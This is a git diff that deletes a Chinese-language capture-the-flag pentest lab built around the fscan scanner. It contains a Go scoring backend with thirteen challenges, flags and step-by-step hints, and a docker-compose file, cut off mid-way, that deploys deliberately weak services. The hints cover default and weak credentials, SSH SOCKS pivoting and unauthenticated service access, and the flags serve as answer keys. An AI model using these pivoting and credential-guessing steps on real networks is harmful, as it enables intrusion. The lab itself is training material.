h1:LWAJwfNvjQZCFIDKWYQaM62NcYeYViCmWIwmOStowAI= -github.com/pelletier/go-toml/v2 v2.1.1/go.mod h1:tJU2Z3ZkXwnxa4DPO899bsyIoywizdUvyaeZurnPPDc= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= -github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= -github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= -github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= -github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= -github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= -github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE= -github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= -golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= -golang.org/x/arch v0.7.0 h1:pskyeJh/3AmoQ8CPE95vxHLqp1G1GfGNXTmcl9NEKTc= -golang.org/x/arch v0.7.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= -golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA= -golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs= -golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc= -golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= -golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= -golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= -golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= -google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI= -google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= -rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= diff --git a/fscan-lab/backend/main.go b/fscan-lab/backend/main.go deleted file mode 100644 index 65981c75..00000000 --- a/fscan-lab/backend/main.go +++ /dev/null @@ -1,551 +0,0 @@ -package main - -import ( - "encoding/json" - "fmt" - "log" - "net/http" - "os" - "strings" - "time" - - "github.com/gin-contrib/cors" - "github.com/gin-gonic/gin" -) - -type Challenge struct { - ID int `json:"id"` - Name string `json:"name"` - Description string `json:"description"` - Difficulty string `json:"difficulty"` - Points int `json:"points"` - Flag string `json:"flag"` - Hints []string `json:"hints"` - Network string `json:"network"` - Targets []string `json:"targets"` - Order int `json:"order"` // 渗透顺序 -} - -type Progress struct { - UserID string `json:"user_id"` - CompletedChallenges []int `json:"completed_challenges"` - TotalScore int `json:"total_score"` - StartTime time.Time `json:"start_time"` - LastUpdate time.Time `json:"last_update"` - SubmissionHistory []Submission `json:"submission_history"` -} - -type Submission struct { - ChallengeID int `json:"challenge_id"` - Flag string `json:"flag"` - Correct bool `json:"correct"` - Timestamp time.Time `json:"timestamp"` -} - -type NetworkNode struct { - ID string `json:"id"` - Name string `json:"name"` - IP string `json:"ip"` - Services []string `json:"services"` - Network string `json:"network"` - Status string `json:"status"` // unknown, discovered, compromised -} - -type NetworkTopology struct { - Nodes []NetworkNode `json:"nodes"` - Edges []NetworkEdge `json:"edges"` -} - -type NetworkEdge struct { - From string `json:"from"` - To string `json:"to"` - Access string `json:"access"` // allowed, blocked, vpn -} - -var challenges = []Challenge{ - { - ID: 1, - Name: "DMZ 侦察", - Description: "扫描 DMZ 区,发现 Web 服务器并获取第一个 flag", - Difficulty: "Easy", - Points: 100, - Flag: "FSCAN_LAB{w3b_f1ng3rpr1nt_d1sc0v3ry}", - Hints: []string{"扫描 10.10.1.0/24 网段", "寻找 Tomcat 服务", "flag 在 webapps/ROOT/flag1.txt"}, - Network: "dmz", - Targets: []string{"10.10.1.10"}, - Order: 1, // 第一步:外网扫描 DMZ - }, - { - ID: 2, - Name: "FTP 弱密码", - Description: "通过 FTP 弱密码进入 DMZ 区并获取 SSH 密钥", - Difficulty: "Easy", - Points: 150, - Flag: "FSCAN_LAB{ftp_w34k_p4ssw0rd_pwn}", - Hints: []string{"FTP 服务在 10.10.1.12", "尝试 admin/123456", "查看 .ssh 目录"}, - Network: "dmz", - Targets: []string{"10.10.1.12"}, - Order: 2, // 第二步:FTP 获取 SSH 密钥 - }, - { - ID: 3, - Name: "VPN 网关突破", - Description: "使用获取的 SSH 密钥连接 VPN 网关进入办公网。提供两种渗透方法:(1) 直接上传 fscan 到 VPN 网关扫描办公网;(2) 使用 SSH 动态端口转发建立 SOCKS5 代理,在 Attacker 机器上通过代理扫描。详见 /root/docs/penetration-guide.md", - Difficulty: "Medium", - Points: 200, - Flag: "FSCAN_LAB{vpn_g4t3w4y_br34ch3d}", - Hints: []string{ - "使用 office_key 连接 10.10.1.13", - "VPN 网关有两个网卡:10.10.1.13(DMZ) 和 10.10.2.2(办公网)", - "flag 在 /etc/flag3.txt", - "方法1: scp fscan 到网关,然后 ssh 登录扫描", - "方法2: ssh -D 1080 建立SOCKS5隧道,fscan -socks5 127.0.0.1:1080 -np", - }, - Network: "dmz", - Targets: []string{"10.10.1.13"}, - Order: 3, // 第三步:进入办公网 - }, - { - ID: 4, - Name: "办公网备份服务器", - Description: "发现 Rsync 备份服务器并获取敏感文件", - Difficulty: "Medium", - Points: 250, - Flag: "FSCAN_LAB{rsync_b4ckup_l34k}", - Hints: []string{"扫描办公网 873 端口", "Rsync 可能未授权访问", "备份目录: rsync://10.10.2.22/backup"}, - Network: "office", - Targets: []string{"10.10.2.22"}, - Order: 7, // 办公网探索,获取 Redis 密码 - }, - { - ID: 5, - Name: "生产网 Redis 渗透", - Description: "利用 Redis 弱密码获取 flag 并准备横向移动", - Difficulty: "Hard", - Points: 300, - Flag: "FSCAN_LAB{r3d1s_un4uth0r1z3d_4cc3ss}", - Hints: []string{"从备份文件获取 Redis 密码", "连接 10.10.3.31", "GET flag5"}, - Network: "production", - Targets: []string{"10.10.3.31"}, - Order: 8, // 进入生产网 - }, - { - ID: 6, - Name: "核心网 MySQL 数据库", - Description: "爆破 MySQL 数据库获取敏感信息", - Difficulty: "Hard", - Points: 350, - Flag: "FSCAN_LAB{mysql_d4t4b4s3_pwn3d}", - Hints: []string{"从生产网扫描核心网 3306 端口", "尝试 root/Password", "SELECT flag FROM secrets.flags"}, - Network: "core", - Targets: []string{"10.10.4.40"}, - Order: 10, // 核心网数据库,获取 Mongo 凭证 - }, - { - ID: 7, - Name: "最终目标 - MongoDB", - Description: "攻陷 MongoDB 获取最终 flag,完成整个网络渗透", - Difficulty: "Expert", - Points: 500, - Flag: "FSCAN_LAB{y0u_pwn3d_th3_n3tw0rk}", - Hints: []string{"从 MySQL 获取 MongoDB 凭证", "连接 10.10.4.43", "查询 admin_secrets 集合"}, - Network: "core", - Targets: []string{"10.10.4.43"}, - Order: 13, // 最终目标 - }, - { - ID: 8, - Name: "Elasticsearch 情报收集", - Description: "利用 Elasticsearch 未授权访问获取生产网敏感信息", - Difficulty: "Medium", - Points: 200, - Flag: "FSCAN_LAB{3l4st1cs34rch_un4uth0r1z3d}", - Hints: []string{"扫描生产网 9200 端口", "Elasticsearch 默认无认证", "GET /_cat/indices 查看索引"}, - Network: "production", - Targets: []string{"10.10.3.34"}, - Order: 9, // 生产网情报收集 - }, - { - ID: 9, - Name: "PostgreSQL 数据库渗透", - Description: "爆破 PostgreSQL 数据库获取业务数据", - Difficulty: "Hard", - Points: 300, - Flag: "FSCAN_LAB{p0stgr3s_d4t4b4s3_pwn3d}", - Hints: []string{"扫描核心网 5432 端口", "尝试 postgres/postgres123", "SELECT * FROM business.secrets"}, - Network: "core", - Targets: []string{"10.10.4.42"}, - Order: 11, // 核心网数据库探索 - }, - { - ID: 10, - Name: "MSSQL 数据库攻击", - Description: "攻破 MSSQL 数据库获取企业核心数据", - Difficulty: "Hard", - Points: 300, - Flag: "FSCAN_LAB{mssql_s4_4cc0unt_pwn3d}", - Hints: []string{"扫描核心网 1433 端口", "尝试 sa/P@ssword123", "SELECT * FROM master.dbo.secrets"}, - Network: "core", - Targets: []string{"10.10.4.41"}, - Order: 12, // 核心网数据库探索 - }, - { - ID: 11, - Name: "VNC 远程桌面入侵", - Description: "通过 VNC 弱密码获取办公网主机控制权", - Difficulty: "Medium", - Points: 200, - Flag: "FSCAN_LAB{vnc_r3m0t3_d3skt0p_pwn3d}", - Hints: []string{"扫描办公网 5901 端口", "VNC 密码: password", "flag 在桌面 flag11.txt"}, - Network: "office", - Targets: []string{"10.10.2.20"}, - Order: 5, // 办公网探索 - }, - { - ID: 12, - Name: "老旧 Telnet 服务", - Description: "利用古老的 Telnet 服务获取办公网老旧主机访问权", - Difficulty: "Easy", - Points: 150, - Flag: "FSCAN_LAB{t3ln3t_l3g4cy_syst3m}", - Hints: []string{"扫描办公网 23 端口", "尝试 admin/admin", "cat /root/flag12.txt"}, - Network: "office", - Targets: []string{"10.10.2.24"}, - Order: 4, // 办公网探索 - }, - { - ID: 13, - Name: "打印机 SMB 共享", - Description: "发现办公网打印机的 SMB 共享服务,通过弱密码访问共享文件", - Difficulty: "Medium", - Points: 200, - Flag: "FSCAN_LAB{smb_pr1nt3r_sh4r3_pwn3d}", - Hints: []string{"扫描办公网 445 端口 (SMB)", "用户名: printer, 尝试弱密码爆破", "共享名: print$ 或 backup"}, - Network: "office", - Targets: []string{"10.10.2.23"}, - Order: 6, // 办公网探索 - }, -} - -// networkTopology contains the network structure for visualization -var networkTopology = NetworkTopology{ - Nodes: []NetworkNode{ - {ID: "internet", Name: "Internet", IP: "172.16.0.0/24", Services: []string{}, Network: "internet", Status: "discovered"}, - {ID: "attacker", Name: "Attacker", IP: "172.16.0.2", Services: []string{"fscan"}, Network: "internet", Status: "compromised"}, - {ID: "web-dmz", Name: "Web DMZ", IP: "10.10.1.10", Services: []string{"Tomcat:8080"}, Network: "dmz", Status: "unknown"}, - {ID: "mail-dmz", Name: "Mail DMZ", IP: "10.10.1.11", Services: []string{"SMTP:25"}, Network: "dmz", Status: "unknown"}, - {ID: "ftp-dmz", Name: "FTP DMZ", IP: "10.10.1.12", Services: []string{"FTP:21"}, Network: "dmz", Status: "unknown"}, - {ID: "vpn-gateway", Name: "VPN Gateway", IP: "10.10.1.13/10.10.2.2", Services: []string{"SSH:22"}, Network: "dmz", Status: "unknown"}, - {ID: "pc-vnc", Name: "PC VNC", IP: "10.10.2.20", Services: []string{"VNC:5901"}, Network: "office", Status: "unknown"}, - {ID: "pc-ssh", Name: "PC SSH", IP: "10.10.2.21", Services: []string{"SSH:22"}, Network: "office", Status: "unknown"}, - {ID: "backup-server", Name: "Backup Server", IP: "10.10.2.22", Services: []string{"Rsync:873"}, Network: "office", Status: "unknown"}, - {ID: "printer", Name: "Printer", IP: "10.10.2.23", Services: []string{"SMB:445"}, Network: "office", Status: "unknown"}, - {ID: "oldpc-telnet", Name: "Old PC", IP: "10.10.2.24", Services: []string{"Telnet:23"}, Network: "office", Status: "unknown"}, - {ID: "app-web", Name: "App Web", IP: "10.10.3.30", Services: []string{"Tomcat:8080"}, Network: "production", Status: "unknown"}, - {ID: "cache-redis", Name: "Cache Redis", IP: "10.10.3.31", Services: []string{"Redis:6379"}, Network: "production", Status: "unknown"}, - {ID: "mq-rabbit", Name: "RabbitMQ", IP: "10.10.3.32", Services: []string{"RabbitMQ:5672,15672"}, Network: "production", Status: "unknown"}, - {ID: "mq-activemq", Name: "ActiveMQ", IP: "10.10.3.33", Services: []string{"ActiveMQ:61613,61614"}, Network: "production", Status: "unknown"}, - {ID: "search-es", Name: "Elasticsearch", IP: "10.10.3.34", Services: []string{"ES:9200"}, Network: "production", Status: "unknown"}, - {ID: "db-mysql", Name: "MySQL DB", IP: "10.10.4.40", Services: []string{"MySQL:3306"}, Network: "core", Status: "unknown"}, - {ID: "db-mssql", Name: "MSSQL DB", IP: "10.10.4.41", Services: []string{"MSSQL:1433"}, Network: "core", Status: "unknown"}, - {ID: "db-postgres", Name: "PostgreSQL DB", IP: "10.10.4.42", Services: []string{"PostgreSQL:5432"}, Network: "core", Status: "unknown"}, - {ID: "db-mongo", Name: "MongoDB", IP: "10.10.4.43", Services: []string{"MongoDB:27017"}, Network: "core", Status: "unknown"}, - {ID: "dc-ldap", Name: "Domain Controller", IP: "10.10.4.44", Services: []string{"LDAP:389,636"}, Network: "core", Status: "unknown"}, - }, - Edges: []NetworkEdge{ - {From: "attacker", To: "web-dmz", Access: "allowed"}, - {From: "attacker", To: "mail-dmz", Access: "allowed"}, - {From: "attacker", To: "ftp-dmz", Access: "allowed"}, - {From: "attacker", To: "vpn-gateway", Access: "allowed"}, - {From: "vpn-gateway", To: "pc-vnc", Access: "vpn"}, - {From: "vpn-gateway", To: "pc-ssh", Access: "vpn"}, - {From: "vpn-gateway", To: "backup-server", Access: "vpn"}, - {From: "vpn-gateway", To: "printer", Access: "vpn"}, - {From: "vpn-gateway", To: "oldpc-telnet", Access: "vpn"}, - {From: "backup-server", To: "cache-redis", Access: "allowed"}, - {From: "cache-redis", To: "db-mysql", Access: "allowed"}, - {From: "cache-redis", To: "db-mssql", Access: "allowed"}, - {From: "cache-redis", To: "db-postgres", Access: "allowed"}, - {From: "cache-redis", To: "db-mongo", Access: "allowed"}, - {From: "cache-redis", To: "dc-ldap", Access: "allowed"}, - }, -} - -// challengeToNodes maps challenge IDs to compromised node IDs -var challengeToNodes = map[int][]string{ - 1: {"web-dmz"}, // Flag 1: DMZ Web 服务器 - 2: {"ftp-dmz"}, // Flag 2: FTP 弱密码 - 3: {"vpn-gateway"}, // Flag 3: VPN 网关 - 4: {"backup-server"}, // Flag 4: 备份服务器 - 5: {"cache-redis"}, // Flag 5: Redis - 6: {"db-mysql"}, // Flag 6: MySQL - 7: {"db-mongo"}, // Flag 7: MongoDB (最终目标) - 8: {"search-es"}, // Flag 8: Elasticsearch - 9: {"db-postgres"}, // Flag 9: PostgreSQL - 10: {"db-mssql"}, // Flag 10: MSSQL - 11: {"pc-vnc"}, // Flag 11: VNC - 12: {"oldpc-telnet"}, // Flag 12: Telnet - 13: {"printer"}, // Flag 13: SNMP -} - -// challengeMap provides O(1) lookup by challenge ID -var challengeMap map[int]*Challenge - -func init() { - challengeMap = make(map[int]*Challenge, len(challenges)) - for i := range challenges { - challengeMap[challenges[i].ID] = &challenges[i] - } -} - -// getChallengeByID returns a challenge by ID or error if not found -func getChallengeByID(id int) (*Challenge, error) { - ch, ok := challengeMap[id] - if !ok { - return nil, fmt.Errorf("challenge not found") - } - return ch, nil -} - -// contains checks if a slice contains a value -func contains(slice []int, val int) bool { - for _, v := range slice { - if v == val { - return true - } - } - return false -} - -const progressFile = "/app/data/progress.json" - -func loadProgress() (*Progress, error) { - data, err := os.ReadFile(progressFile) - if err != nil { - if os.IsNotExist(err) { - return &Progress{ - UserID: "default", - CompletedChallenges: []int{}, - TotalScore: 0, - StartTime: time.Now(), - LastUpdate: time.Now(), - SubmissionHistory: []Submission{}, - }, nil - } - return nil, err - } - - var progress Progress - if err := json.Unmarshal(data, &progress); err != nil { - return nil, err - } - return &progress, nil -} - -func saveProgress(progress *Progress) error { - progress.LastUpdate = time.Now() - data, err := json.MarshalIndent(progress, "", " ") - if err != nil { - return err - } - return os.WriteFile(progressFile, data, 0644) -} - -func main() { - os.MkdirAll("/app/data", 0755) - - r := gin.Default() - - r.Use(cors.New(cors.Config{ - AllowOrigins: []string{"*"}, - AllowMethods: []string{"GET", "POST", "PUT", "DELETE"}, - AllowHeaders: []string{"Origin", "Content-Type"}, - ExposeHeaders: []string{"Content-Length"}, - AllowCredentials: true, - })) - - r.GET("/api/challenges", getChallenges) - r.GET("/api/challenges/:id", getChallenge) - r.POST("/api/submit", submitFlag) - r.GET("/api/progress", getProgress) - r.POST("/api/reset", resetProgress) - r.GET("/api/topology", getTopology) - r.GET("/api/hints/:id", getHints) - - log.Println("Starting fscan-lab API server on :8888") - r.Run(":8888") -} - -func getChallenges(c *gin.Context) { - publicChallenges := make([]map[string]interface{}, len(challenges)) - for i, ch := range challenges { - publicChallenges[i] = map[string]interface{}{ - "id": ch.ID, - "name": ch.Name, - "description": ch.Description, - "difficulty": ch.Difficulty, - "points": ch.Points, - "network": ch.Network, - "targets": ch.Targets, - "order": ch.Order, // 渗透顺序 - } - } - c.JSON(http.StatusOK, publicChallenges) -} - -func getChallenge(c *gin.Context) { - idStr := c.Param("id") - var id int - if _, err := fmt.Sscanf(idStr, "%d", &id); err != nil { - c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid challenge ID"}) - return - } - - challenge, err := getChallengeByID(id) - if err != nil { - c.JSON(http.StatusNotFound, gin.H{"error": err.Error()}) - return - } - - c.JSON(http.StatusOK, gin.H{ - "id": challenge.ID, - "name": challenge.Name, - "description": challenge.Description, - "difficulty": challenge.Difficulty, - "points": challenge.Points, - "network": challenge.Network, - "targets": challenge.Targets, - }) -} - -func submitFlag(c *gin.Context) { - var req struct { - ChallengeID int `json:"challenge_id"` - Flag string `json:"flag"` - } - - if err := c.ShouldBindJSON(&req); err != nil { - c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) - return - } - - challenge, err := getChallengeByID(req.ChallengeID) - if err != nil { - c.JSON(http.StatusNotFound, gin.H{"error": err.Error()}) - return - } - - progress, err := loadProgress() - if err != nil { - c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to load progress"}) - return - } - - correct := strings.TrimSpace(req.Flag) == strings.TrimSpace(challenge.Flag) - alreadySolved := contains(progress.CompletedChallenges, req.ChallengeID) - - // Record submission - progress.SubmissionHistory = append(progress.SubmissionHistory, Submission{ - ChallengeID: req.ChallengeID, - Flag: req.Flag, - Correct: correct, - Timestamp: time.Now(), - }) - - // Award points for first-time completion - if correct && !alreadySolved { - progress.CompletedChallenges = append(progress.CompletedChallenges, req.ChallengeID) - progress.TotalScore += challenge.Points - } - - if err := saveProgress(progress); err != nil { - c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to save progress"}) - return - } - - c.JSON(http.StatusOK, gin.H{ - "correct": correct, - "message": map[bool]string{true: "Congratulations! Flag accepted!", false: "Incorrect flag. Try again!"}[correct], - "points_earned": challenge.Points, - "total_score": progress.TotalScore, - "already_solved": alreadySolved, - }) -} - -func getProgress(c *gin.Context) { - progress, err := loadProgress() - if err != nil { - c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to load progress"}) - return - } - c.JSON(http.StatusOK, progress) -} - -func resetProgress(c *gin.Context) { - progress := &Progress{ - UserID: "default", - CompletedChallenges: []int{}, - TotalScore: 0, - StartTime: time.Now(), - LastUpdate: time.Now(), - SubmissionHistory: []Submission{}, - } - - if err := saveProgress(progress); err != nil { - c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to reset progress"}) - return - } - - c.JSON(http.StatusOK, gin.H{"message": "Progress reset successfully"}) -} - -func getTopology(c *gin.Context) { - progress, err := loadProgress() - if err != nil { - c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to load progress"}) - return - } - - // Build set of compromised nodes based on completed challenges - compromisedNodes := make(map[string]bool) - for _, challengeID := range progress.CompletedChallenges { - if nodeIDs, ok := challengeToNodes[challengeID]; ok { - for _, nodeID := range nodeIDs { - compromisedNodes[nodeID] = true - } - } - } - - // Clone topology and update node statuses - topology := NetworkTopology{ - Nodes: make([]NetworkNode, len(networkTopology.Nodes)), - Edges: networkTopology.Edges, - } - - for i, node := range networkTopology.Nodes { - topology.Nodes[i] = node - // Update status based on progress - if compromisedNodes[node.ID] { - topology.Nodes[i].Status = "compromised" - } - } - - c.JSON(http.StatusOK, topology) -} - -func getHints(c *gin.Context) { - idStr := c.Param("id") - var id int - if _, err := fmt.Sscanf(idStr, "%d", &id); err != nil { - c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid challenge ID"}) - return - } - - challenge, err := getChallengeByID(id) - if err != nil { - c.JSON(http.StatusNotFound, gin.H{"error": err.Error()}) - return - } - - c.JSON(http.StatusOK, gin.H{"hints": challenge.Hints}) -} diff --git a/fscan-lab/docker-compose.yml b/fscan-lab/docker-compose.yml deleted file mode 100644 index 136c9ff7..00000000 --- a/fscan-lab/docker-compose.yml +++ /dev/null @@ -1,382 +0,0 @@ -services: - # ============================================ - # 防火墙路由容器(核心网络控制) - # ============================================ - firewall: - build: ./docker/firewall - container_name: lab-firewall - hostname: firewall - cap_add: - - NET_ADMIN - sysctls: - - net.ipv4.ip_forward=1 - networks: - internet: - ipv4_address: 172.16.0.1 - dmz: - ipv4_address: 10.10.1.1 - office: - ipv4_address: 10.10.2.1 - production: - ipv4_address: 10.10.3.1 - core: - ipv4_address: 10.10.4.1 - restart: unless-stopped - - # ============================================ - # 攻击者机器(起点) - # ============================================ - attacker: - build: ./docker/attacker - container_name: lab-attacker - hostname: attacker - cap_add: - - NET_ADMIN - networks: - internet: - ipv4_address: 172.16.0.2 - dmz: - ipv4_address: 10.10.1.2 - volumes: - - ./flags:/root/flags - stdin_open: true - tty: true - restart: unless-stopped - - # ============================================ - # DMZ 区(4台主机) - # ============================================ - web-dmz: - build: ./test-services/Tomcat - container_name: lab-web-dmz - hostname: web-dmz - networks: - dmz: - ipv4_address: 10.10.1.10 - volumes: - - ./flags/flag1.txt:/usr/local/tomcat/webapps/ROOT/flag1.txt:ro - restart: unless-stopped - - mail-dmz: - build: ./test-services/SMTP - container_name: lab-mail-dmz - hostname: mail-dmz - networks: - dmz: - ipv4_address: 10.10.1.11 - restart: unless-stopped - - ftp-dmz: - image: bogem/ftp - container_name: lab-ftp-dmz - hostname: ftp-dmz - environment: - - FTP_USER=admin - - FTP_PASS=123456 - - PASV_ADDRESS=10.10.1.12 - networks: - dmz: - ipv4_address: 10.10.1.12 - volumes: - - ./flags/flag2.txt:/home/vsftpd/flag2.txt:ro - - ./flags/office_key:/home/vsftpd/.ssh/office_key:ro - - ./flags/clues/dmz_clue.txt:/home/vsftpd/next_step.txt:ro - restart: unless-stopped - - vpn-gateway: - build: ./test-services/SSH - container_name: lab-vpn-gateway - hostname: vpn-gateway - networks: - dmz: - ipv4_address: 10.10.1.13 - office: - ipv4_address: 10.10.2.2 - volumes: - - ./flags/flag3.txt:/etc/flag3.txt:ro - - ./docker/services/dmz/vpn-gateway/authorized_keys:/root/.ssh/authorized_keys - - ./docker/services/dmz/vpn-gateway/frps.ini:/etc/frp/frps.ini:ro - - ./docker/services/dmz/vpn-gateway/start-frps.sh:/usr/local/bin/start-frps:ro - restart: unless-stopped - - # ============================================ - # 办公网(5台主机) - # ============================================ - pc-vnc: - build: ./test-services/VNC - container_name: lab-pc-vnc - hostname: pc-vnc - networks: - office: - ipv4_address: 10.10.2.20 - environment: - - VNC_PASSWORD=password - volumes: - - ./flags/flag11.txt:/root/Desktop/flag11.txt:ro - restart: unless-stopped - - pc-ssh: - build: ./test-services/SSH - container_name: lab-pc-ssh - hostname: pc-ssh - networks: - office: - ipv4_address: 10.10.2.21 - volumes: - - ./docker/services/office/pc-ssh/.bash_history:/root/.bash_history:ro - restart: unless-stopped - - backup-server: - build: ./test-services/Rsync - container_name: lab-backup-server - hostname: backup-server - networks: - office: - ipv4_address: 10.10.2.22 - volumes: - - ./flags/flag4.txt:/data/backup/credentials/flag4.txt:ro - - ./flags/clues/prod_redis.conf:/data/backup/credentials/prod_redis.conf:ro - - ./flags/clues/prod_hosts.txt:/data/backup/credentials/prod_hosts.txt:ro - - ./flags/prod_jump_key:/data/backup/credentials/ssh_keys/prod_jump_key:ro - restart: unless-stopped - - printer: - build: ./test-services/SMB - container_name: lab-printer - hostname: printer - networks: - office: - ipv4_address: 10.10.2.23 - volumes: - - ./flags/flag13.txt:/shared/documents/flag13.txt:ro - - ./flags/clues/printer_info.txt:/shared/documents/printer_info.txt:ro - restart: unless-stopped - - oldpc-telnet: - build: ./test-services/Telnet - container_name: lab-oldpc-telnet - hostname: oldpc-telnet - networks: - office: - ipv4_address: 10.10.2.24 - volumes: - - ./flags/flag12.txt:/root/flag12.txt:ro - restart: unless-stopped - - # ============================================ - # 生产网(5台主机) - # ============================================ - app-web: - build: ./test-services/Tomcat - container_name: lab-app-web - hostname: app-web - networks: - production: - ipv4_address: 10.10.3.30 - restart: unless-stopped - - cache-redis: - build: ./test-services/Redis - container_name: lab-cache-redis - hostname: cache-redis - networks: - production: - ipv4_address: 10.10.3.31 - command: redis-server --bind 0.0.0.0 --protected-mode no --requirepass redis123 - volumes: - - ./docker/services/production/redis/init.sh:/docker-entrypoint-initdb.d/init.sh:ro - restart: unless-stopped - - mq-rabbit: - image: rabbitmq:3-management - container_name: lab-mq-rabbit - hostname: mq-rabbit - environment: - RABBITMQ_DEFAULT_USER: admin - RABBITMQ_DEFAULT_PASS: rabbit123 - networks: - production: - ipv4_address: 10.10.3.32 - restart: unless-stopped - - mq-activemq: - build: ./test-services/ActiveMQ - container_name: lab-mq-activemq - hostname: mq-activemq - networks: - production: - ipv4_address: 10.10.3.33 - restart: unless-stopped - - search-es: - image: docker.elastic.co/elasticsearch/elasticsearch:7.9.3 - container_name: lab-search-es - hostname: search-es - environment: - - discovery.type=single-node - - xpack.security.enabled=false - networks: - production: - ipv4_address: 10.10.3.34 - volumes: - - ./docker/services/production/elasticsearch/init-es.sh:/usr/local/bin/init-es.sh:ro - restart: unless-stopped - - # ============================================ - # 核心网(5台主机) - # ============================================ - db-mysql: - image: mysql:latest - container_name: lab-db-mysql - hostname: db-mysql - environment: - MYSQL_ROOT_PASSWORD: Password - MYSQL_DATABASE: secrets - networks: - core: - ipv4_address: 10.10.4.40 - volumes: - - ./docker/services/core/mysql/init.sql:/docker-entrypoint-initdb.d/init.sql:ro - restart: unless-stopped - - db-mssql: - image: mcr.microsoft.com/mssql/server:2022-latest - container_name: lab-db-mssql - hostname: db-mssql - environment: - ACCEPT_EULA: Y - MSSQL_SA_PASSWORD: P@ssword123 - MSSQL_PID: Express - networks: - core: - ipv4_address: 10.10.4.41 - volumes: - - 